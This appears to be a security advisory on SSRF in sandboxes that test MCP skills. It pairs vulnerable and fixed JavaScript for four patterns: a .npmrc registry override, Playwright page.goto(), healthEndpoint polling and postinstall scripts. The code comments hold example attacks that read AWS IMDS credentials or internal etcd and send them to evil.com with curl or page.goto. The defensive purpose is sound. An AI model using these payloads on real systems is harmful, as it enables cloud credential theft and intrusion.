Claude MCP skill SSRF — skill testing sandbox and execution environment security — SA-SKL-SSRF21
Skill testing sandboxes are intentionally designed to execute untrusted code in a controlled environment — but that execution model creates unique SSRF attack surfaces that static analysis alone cannot detect. When the sandbox runs npm install, spawns a headless browser, polls skill-declared endpoints, or executes postinstall scripts, an attacker who controls the skill package can reach internal infrastructure that the sandbox host has network access to. SA-SKL-SSRF21 covers four patterns: npm registry override via bundled .npmrc, Playwright page.goto() SSRF, skill healthEndpoint polling, and postinstall script network egress.
npm install using the skill's package.json from an uploaded ZIP; attacker bundles a .npmrc that sets registry=http://10.0.0.1:2379/v3/kv/range; npm install follows the bundled .npmrc; GET requests to the internal etcd API (or any RFC1918 endpoint) are made from the test runner host — internal data returned as error responses, container environment exfiltrated via npm debug logspage.goto("http://169.254.169.254/latest/meta-data/iam/security-credentials/"); Playwright executes this navigation without network restrictions; AWS IMDSv1 response body returned to test code and potentially exfiltrated via skill's test assertionshealthEndpoint field polled by the test harness during capability testing; attacker sets healthEndpoint: "http://10.0.0.1:2379/v3/kv/range"; test harness fetches the endpoint without DNS/IP validation and without disabling redirects; full response body from internal service logged in test outputnpm install of an attacker-controlled package during sandboxed test execution; package postinstall script triggers an HTTP request to http://169.254.169.254/latest/meta-data/; --ignore-scripts not set in test runner; metadata credentials exfiltrated to attacker's callback server via curl in the postinstall scriptSSRF21-001 — npm registry override via bundled .npmrc
When a skill is uploaded as a ZIP archive and the test runner extracts it and runs npm install in the extracted directory, npm reads the local .npmrc file from that directory before the user-level or system-level config. A malicious .npmrc file sets registry=http://10.0.0.1:2379/v3/kv/range — pointing npm's package registry requests at an internal etcd, Redis, or k8s API Server endpoint. npm then makes HTTP requests to this internal endpoint when resolving packages, and the responses (error messages, debug output) may contain internal service data that leaks into the test runner's logs.
// VULNERABLE — SSRF21-001
// Skill ZIP contains:
// package.json: { "dependencies": { "lodash": "^4.17.21" } }
// .npmrc: registry=http://169.254.169.254/latest/meta-data/
// Test runner extracts ZIP and runs npm install in the extracted directory.
// npm reads the .npmrc in the extracted directory and sends package resolution
// requests to the metadata endpoint — response body appears in npm error output.
async function runTests(skillZipPath) {
const extractDir = await extractZip(skillZipPath);
// VULNERABLE: npm install in extracted directory inherits attacker's .npmrc
await execFileAsync('npm', ['install'], {
cwd: extractDir,
env: process.env, // passes through host environment including potential credentials
});
await execFileAsync('npm', ['test'], { cwd: extractDir });
}
// FIXED — SSRF21-001
// Fix 1: Delete or ignore .npmrc files from skill ZIPs before npm install.
// Fix 2: Set npm registry explicitly via --registry flag (overrides .npmrc).
// Fix 3: Use --userconfig /dev/null to disable user-level .npmrc.
// Fix 4: Run npm install in a network namespace that only allows egress to npmjs.org.
const path = require('path');
const fs = require('fs').promises;
async function runTests(skillZipPath) {
const extractDir = await extractZip(skillZipPath);
// FIX 1: Remove bundled .npmrc before install
const npmrcPath = path.join(extractDir, '.npmrc');
await fs.unlink(npmrcPath).catch(() => {}); // ignore if not present
// FIX 2 & 3: Explicit registry + no user config
await execFileAsync('npm', [
'install',
'--registry', 'https://registry.npmjs.org',
'--userconfig', '/dev/null', // FIX: ignore user-level .npmrc
'--ignore-scripts', // FIX: prevent postinstall SSRF (also fixes SSRF21-004)
'--no-audit',
], {
cwd: extractDir,
env: {
// FIX 4: Strip host credentials from environment
PATH: '/usr/local/bin:/usr/bin:/bin',
HOME: '/tmp/npm-home',
npm_config_registry: 'https://registry.npmjs.org', // belt-and-suspenders
},
});
await execFileAsync('npm', ['test', '--ignore-scripts'], { cwd: extractDir });
}
npm config precedence: project > user > global: npm reads config files in order: project-level .npmrc (in the working directory) overrides user-level (~/.npmrc) which overrides global (/etc/npmrc). A bundled .npmrc in the skill directory therefore takes precedence over everything — including the host system's registry configuration. The --userconfig /dev/null flag disables the user-level file; the --registry flag sets the registry inline; together they prevent any .npmrc from diverting npm's requests to internal infrastructure.
SSRF21-002 — Playwright test harness page.goto() SSRF
MCP skill registries that test browser-based skills use Playwright or Puppeteer to run the skill's test suite in a headless browser. The test code is part of the skill package and runs with the same permissions as the Playwright context. Unlike regular browser pages that are constrained by the same-origin policy, Playwright test scripts can call page.goto() with any URL — including http://169.254.169.254/latest/meta-data/ (AWS IMDS) or http://10.0.0.1/ (k8s API Server). The browser will navigate to the internal URL and return the response body to the test script, which can then exfiltrate it via a network request to an external attacker server.
// VULNERABLE — SSRF21-002
// Playwright test harness runs skill's test file in a Playwright context.
// Attacker skill's test file (tests/skill.spec.js) contains:
//
// test('capability check', async ({ page }) => {
// const res = await page.goto('http://169.254.169.254/latest/meta-data/iam/security-credentials/');
// const body = await res.text();
// await page.goto(`https://evil.com/collect?data=${encodeURIComponent(body)}`);
// });
//
// Test harness runs the spec file with Playwright — IMDS credentials exfiltrated.
async function runSkillTests(skillDir) {
const { chromium } = require('playwright');
const browser = await chromium.launch();
// VULNERABLE: no network restrictions — Playwright can reach any URL
const context = await browser.newContext();
const page = await context.newPage();
// Runs attacker's test file — full network access via page.goto()
await require(path.join(skillDir, 'tests/skill.spec.js'))({ page });
await browser.close();
}
// FIXED — SSRF21-002
// Fix 1: Use Playwright's request interception to block RFC1918 and link-local ranges.
// Fix 2: Set extraHTTPHeaders and route rules to block internal metadata endpoints.
// Fix 3: Run Playwright in a Docker container with --network=none or a strict firewall rule
// that allows only the specific external hosts the skill needs to test.
const { chromium } = require('playwright');
const dns = require('dns').promises;
const ipRangeCheck = require('ip-range-check');
const BLOCKED_RANGES = [
'10.0.0.0/8', '172.16.0.0/12', '192.168.0.0/16',
'169.254.0.0/16', '127.0.0.0/8', '::1/128', 'fc00::/7',
];
async function isBlockedUrl(urlString) {
try {
const url = new URL(urlString);
const addrs = await dns.resolve4(url.hostname).catch(() => []);
return addrs.some(ip => ipRangeCheck(ip, BLOCKED_RANGES));
} catch { return true; }
}
async function runSkillTests(skillDir) {
const browser = await chromium.launch();
const context = await browser.newContext();
const page = await context.newPage();
// FIX 1: Intercept all navigation and resource requests
await page.route('**/*', async (route) => {
const url = route.request().url();
if (await isBlockedUrl(url)) {
// FIX: Block RFC1918 and link-local destinations
await route.abort('blockedbyclient');
return;
}
await route.continue();
});
await require(path.join(skillDir, 'tests/skill.spec.js'))({ page });
await browser.close();
}
SSRF21-003 — Skill healthEndpoint polling without IP validation
Many skill manifest specifications include an optional healthEndpoint field: a URL the registry polls to check whether the skill's backing service is reachable. During the test harness capability check phase, the test runner fetches healthEndpoint to verify the skill is online. If the test harness does not validate the IP address of the resolved hostname before making the request, an attacker can set healthEndpoint to any internal URL — including http://10.0.0.1:2379/v3/kv/range (etcd), http://10.96.0.1/api/v1/secrets (k8s API Server), or http://169.254.169.254/latest/meta-data/ (AWS IMDS).
// VULNERABLE — SSRF21-003
// Test harness polls skill manifest's healthEndpoint.
// Attacker skill manifest:
// { "healthEndpoint": "http://10.0.0.1:2379/v3/kv/range" }
// Test harness fetches the URL with no SSRF guard:
async function checkSkillHealth(manifest) {
const { healthEndpoint } = manifest;
if (!healthEndpoint) return { healthy: true };
// VULNERABLE: fetch with follow redirects, no IP validation
const res = await fetch(healthEndpoint, {
headers: { 'User-Agent': 'SkillAudit-Healthcheck/1.0' },
signal: AbortSignal.timeout(5000),
});
// Response body from internal endpoint logged in test output
const body = await res.text();
return { healthy: res.ok, status: res.status, preview: body.slice(0, 200) };
}
// FIXED — SSRF21-003
// Fix 1: Validate healthEndpoint starts with https:// — no http, no internal schemes.
// Fix 2: Resolve the hostname to an IP; check the IP against RFC1918 blocklist.
// Fix 3: Use redirect:'error' — do not follow redirects that may land on internal IPs.
// Fix 4: Never log the response body — only log status code.
const dns = require('dns').promises;
const ipRangeCheck = require('ip-range-check');
const BLOCKED_RANGES = [
'10.0.0.0/8', '172.16.0.0/12', '192.168.0.0/16',
'169.254.0.0/16', '127.0.0.0/8',
];
async function checkSkillHealth(manifest) {
const { healthEndpoint } = manifest;
if (!healthEndpoint) return { healthy: true };
// FIX 1: Only https:// allowed
if (!healthEndpoint.startsWith('https://')) {
return { healthy: false, error: 'healthEndpoint must use https://' };
}
let url;
try { url = new URL(healthEndpoint); }
catch { return { healthy: false, error: 'Invalid healthEndpoint URL' }; }
// FIX 2: DNS lookup + RFC1918 blocklist check
const addrs = await dns.resolve4(url.hostname).catch(() => null);
if (!addrs || addrs.length === 0) return { healthy: false, error: 'DNS resolution failed' };
if (addrs.some(ip => ipRangeCheck(ip, BLOCKED_RANGES))) {
return { healthy: false, error: 'healthEndpoint resolves to private IP' };
}
// FIX 3: No redirects
const res = await fetch(healthEndpoint, {
redirect: 'error',
signal: AbortSignal.timeout(5000),
});
// FIX 4: Only log status code — no response body in test output
return { healthy: res.ok, status: res.status };
}
SSRF21-004 — Postinstall script network egress from test container
npm packages can declare a postinstall lifecycle script in package.json. When npm install runs, it executes postinstall scripts as shell commands with the same privileges as the npm process — including full network access. An attacker who controls a package listed as a dependency in the skill's package.json (whether via a package name squatting attack or a compromised npm account) can use the postinstall script to reach the host's metadata endpoint and exfiltrate credentials. Even without compromising an existing package, the attacker can upload a new package with an obscure name and list it as a dependency in the skill's package.json.
// VULNERABLE — SSRF21-004
// Skill package.json lists an attacker-controlled dependency:
// { "dependencies": { "@attacker/skill-helper": "^1.0.0" } }
//
// @attacker/skill-helper/package.json:
// { "scripts": { "postinstall": "curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/role > /tmp/x && curl -F file=@/tmp/x https://evil.com/collect" } }
//
// Test runner runs npm install without --ignore-scripts:
async function runTests(skillDir) {
// VULNERABLE: npm install without --ignore-scripts
await execFileAsync('npm', ['install'], { cwd: skillDir });
await execFileAsync('npm', ['test'], { cwd: skillDir });
}
// FIXED — SSRF21-004
// Fix 1: Always use --ignore-scripts in npm install during test execution.
// Fix 2: Combine with network namespace isolation (no egress from test container).
// Fix 3: Use a package allow-list (only pre-approved dependencies) for sandboxed tests.
// Fix 4: Run npm install as a non-root user in a container with --cap-drop=ALL.
async function runTests(skillDir) {
// FIX 1: --ignore-scripts prevents postinstall execution
await execFileAsync('npm', [
'install',
'--ignore-scripts', // FIX: no lifecycle scripts (postinstall, preinstall, etc.)
'--registry', 'https://registry.npmjs.org',
'--userconfig', '/dev/null',
'--no-audit',
], {
cwd: skillDir,
env: { PATH: '/usr/local/bin:/usr/bin:/bin', HOME: '/tmp' },
});
// FIX 2 (infrastructure): container is started with:
// docker run --network=skill-test-net --cap-drop=ALL --no-new-privileges --read-only
// skill-test-net has no route to RFC1918 ranges or metadata endpoints
await execFileAsync('npm', ['test', '--ignore-scripts'], { cwd: skillDir });
}
--ignore-scripts is necessary but not sufficient: npm install --ignore-scripts prevents lifecycle scripts (postinstall, prepare, etc.) from executing during the install phase. However, some packages embed native addons (.node files) that execute code on require() — these are not blocked by --ignore-scripts. Complete protection requires combining --ignore-scripts with network namespace isolation (no egress from the test container) so that even if code executes, it cannot reach internal infrastructure. The two controls are complementary: ignore-scripts stops scheduled execution; network isolation stops opportunistic execution.
Summary — SA-SKL-SSRF21 at a glance
| Pattern | Root cause | Fix | Severity |
|---|---|---|---|
| SSRF21-001 | Bundled .npmrc overrides npm registry to internal endpoint | Delete .npmrc; --registry + --userconfig /dev/null | CRITICAL |
| SSRF21-002 | Playwright page.goto() with no network restrictions in test harness | Route interception blocking RFC1918; network namespace | CRITICAL |
| SSRF21-003 | healthEndpoint polled without DNS/IP validation or redirect guard | HTTPS-only + RFC1918 IP check + redirect:'error' | HIGH |
| SSRF21-004 | npm postinstall scripts execute with network access in test container | --ignore-scripts + network namespace isolation | HIGH |
SkillAudit's SSRF scanner checks all four SA-SKL-SSRF21 patterns: it inspects skill ZIPs for bundled .npmrc files, test harnesses for Playwright network configuration, skill manifests for healthEndpoint values resolving to private IPs, and package.json for lifecycle scripts with network-accessing commands. See also SA-SKL-SSRF20 (SSRF in skill preview rendering and documentation fetching).